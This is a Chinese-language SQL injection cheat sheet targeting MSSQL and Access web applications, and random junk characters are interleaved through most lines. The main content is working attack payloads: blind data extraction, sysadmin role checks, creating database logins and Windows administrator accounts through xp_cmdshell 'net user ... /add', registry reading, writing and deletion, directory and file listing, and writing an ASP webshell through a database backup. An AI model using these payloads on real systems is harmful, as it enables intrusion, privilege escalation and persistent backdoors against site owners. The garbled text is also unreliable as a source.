手工脚本注入
4 n, o! y$ Q% |9 A- ?6 A l4 `6 O1.判断是否有注入;and 1=1 ;and 1=2 ' C8 D% w: A( t: y% {* L
6 n0 n4 H# o+ z
2.初步判断是否是mssql ;and user>0
9 L) @2 t+ n% {6 r0 I, k; n
8 H. v4 p/ w2 r1 y3.注入参数是字符'and [查询条件] and ''=' " p4 g6 I( U: V |& N
9 W9 l& t4 z: f. E- m2 A2 `! b
4.搜索时没过滤参数的'and [查询条件] and '%25'='
9 A; J; p7 Y V0 Y# Y/ M) X% a# B; A
5.判断数据库系统 $ B. f& y- A3 W7 m
;and (select count(*) from sysobjects)>0 mssql - w3 s, [! t* D1 I1 N
;and (select count(*) from msysobjects)>0 access 6 z: E8 ?& u, s# t! P) [+ Z
, R( |7 E2 c8 t9 N% G: u- M
6.猜数据库 ;and (select Count(*) from [数据库名])>0 " B& m3 j" u! r/ m/ h, \
6 _$ v% {. _8 i. f) H" X0 s) ]
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
: n z; u( o, X2 ~1 X6 J* d7 T# m! H( j ]
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 3 d: s" H4 ?- E3 _, ]
3 `0 g( R, ?% ^9 z9.(1)猜字段的ascii值(access)
2 x& c7 a* }7 M+ o+ w( q;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 - w$ K& _3 k3 j) W# E
+ X& G$ h1 |; D2 R% P. F) w! M3 k8 j
(2)猜字段的ascii值(mssql)
0 e* @( e" [8 ?/ ^ S;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
! k0 C I6 i4 b }5 c# Q7 h' D
10.测试权限结构(mssql)
/ t: I/ D3 j* J% D2 V;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
+ i" \. u& Q+ _" T6 W- T;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 5 z6 f* y" e: z+ g! ?' h' U
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
* d' K3 z, L* G$ n. G1 K;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- + @& M5 |7 h4 ~& U: M* _" x
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ; b, |2 B" E) D
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- ~3 i7 n0 l$ n;and 1=(select IS_MEMBER('db_owner'));-- " d" Y4 \* s+ u: u& M) Y0 `5 l! n/ C4 e
, s0 t; W, ]1 ?2 F
11.添加mssql和系统的帐户
, [0 u. C( a8 M4 k$ Y2 Q1 @# F;exec master.dbo.sp_addlogin username;-- 2 C2 ?6 u; ]$ R) P5 m& l$ y# h- \
7 X0 b. W* K/ h( t+ M3 _* G7 `;exec master.dbo.sp_password null,username,password;--
2 d6 N0 V9 t3 B7 x d5 t9 G
9 h) p7 S2 E3 ^1 c;exec master.dbo.sp_addsrvrolemember sysadmin username;--
( x- x: I: O* S, w h; B' H
8 w2 N# V; m, G$ B/ t8 S;exec master.dbo.xp_cmdshell 'net user username password
- A6 E0 V- d4 Z( Z) n$ a. l/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- e3 v# G' y9 r/ c% C
% v( q% A$ g' |9 m/ b% J& g;exec master.dbo.xp_cmdshell 'net user username password /add';--
7 T" b3 c _/ V
" u( H0 d" g$ K;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
- r5 z. N, k2 D, x9 s# w
1 `5 a7 _7 U- X, Y5 F6 I' F+ m12.(1)遍历目录 t# A7 m2 w0 ~) @9 X" }
2 h5 b" ^$ ~' h3 X/ X6 R;create table dirs(paths varchar(100), id int)
) o' `7 e7 R4 V q- P# _$ w;insert dirs exec master.dbo.xp_dirtree 'c:\' ( ]* v9 w" D- m' o
;and (select top 1 paths from dirs)>0
# I. G3 V+ s& i7 _0 c7 C;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
6 Q) q" Z5 ]! C
$ W/ Q3 g3 w; K" f: C4 k(2)遍历目录 0 c& {$ E3 q6 `8 l3 Q8 ^4 ?
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- [/ n, ~0 G' e, R* X
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 $ ^ R9 E# B% V8 E1 l. z; O: @
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 : @: A) g1 y3 T/ W! A( q# _4 T- _: F+ n
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
$ H+ c/ z1 R% u" H;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 9 e7 n8 _, ? N5 I7 Z- s
3 {# V3 X; K I) T1 k$ g2 E13.mssql中的存储过程
1 k! Y' P7 ?& O# S# {& U& M( a r( Q* s: ]( V e% ~+ b s9 _: x! |
xp_regenumvalues 注册表根键, 子键
- [# M5 d4 q! F) |1 j3 N, {;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
4 N( m6 \1 y1 g9 X
3 ]6 m# Y) m: J5 @3 I* e* {' }xp_regread 根键,子键,键值名
/ o1 j) C6 u; ]$ }; I# ?+ E;exec xp_regread
, ] L$ F4 E" N. x" W'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
0 R' X" H% a/ i
, |" j( l* X( l' hxp_regwrite 根键,子键, 值名, 值类型, 值
6 H. l0 E3 f. C, e3 g值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
+ w2 a7 i- T/ l: U( n d( c, \: T;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
: j! H3 w p1 k& E* Q" ^6 g9 G. S9 ?, }% B' @
xp_regdeletevalue 根键,子键,值名 4 E5 l7 q* Z- Y4 `
) \; M5 l, A! k2 ?; B8 R9 w
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 8 K, t; p. c/ L0 l
% m) J) R* Z) T: t' D, w, @
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ; U( u' Q j+ C* y/ H
6 Y! W. V* f6 k1 `6 O14.mssql的backup创建webshell 9 k$ [$ V3 A8 M- @
use model
7 r `# i/ F% Ecreate table cmd(str image); 7 H5 f) B+ o3 x$ i4 _4 E( X V5 L2 o
insert into cmd(str) values ('');
+ K: R) h* r$ k8 I% S" x+ Y* k- u6 Y% ybackup database model to disk='c:\l.asp';
4 H0 G% x! e: X( V% u5 `4 P/ z# C, U3 c6 B9 Q5 _
15.mssql内置函数 + a v( M$ M; q4 s
;and (select @@version)>0 获得Windows的版本号
* z _5 T4 u5 P5 k* B$ { o1 L;and user_name()='dbo' 判断当前系统的连接用户是不是sa % K# a/ t2 _3 w* H; o1 e) g$ J# @
;and (select user_name())>0 爆当前系统的连接用户 ) I$ x( o& R/ w7 P1 P* _$ b+ L
;and (select db_name())>0 得到当前连接的数据库 ' f8 w2 a$ |% S( a' a( y' o: b
: p/ Z" s0 Y6 o v W3 y
16.简洁的webshell
" b; K6 F% F5 T& s- g. @# C( }/ c9 W% j4 z# [: ?. w* I
use model $ ], {% q% q( T+ r" Y) p0 p
. ~- C7 G' Z1 D. a" \% dcreate table cmd(str image);
/ a6 G# H( X( m6 z- Z/ f5 k0 `
2 }6 p/ ^/ O, z% d' Q; W1 tinsert into cmd(str) values (''); + v3 B4 u+ {; F' O& W6 i% p
/ O! f* ~2 ^+ a* o$ f, w( P+ Y
backup database model to disk='g:\wwwtest\l.asp';
- r3 T5 c" ?+ T2 z# x. e
6 Q; j1 X( f0 W4 L# b+ k, Z |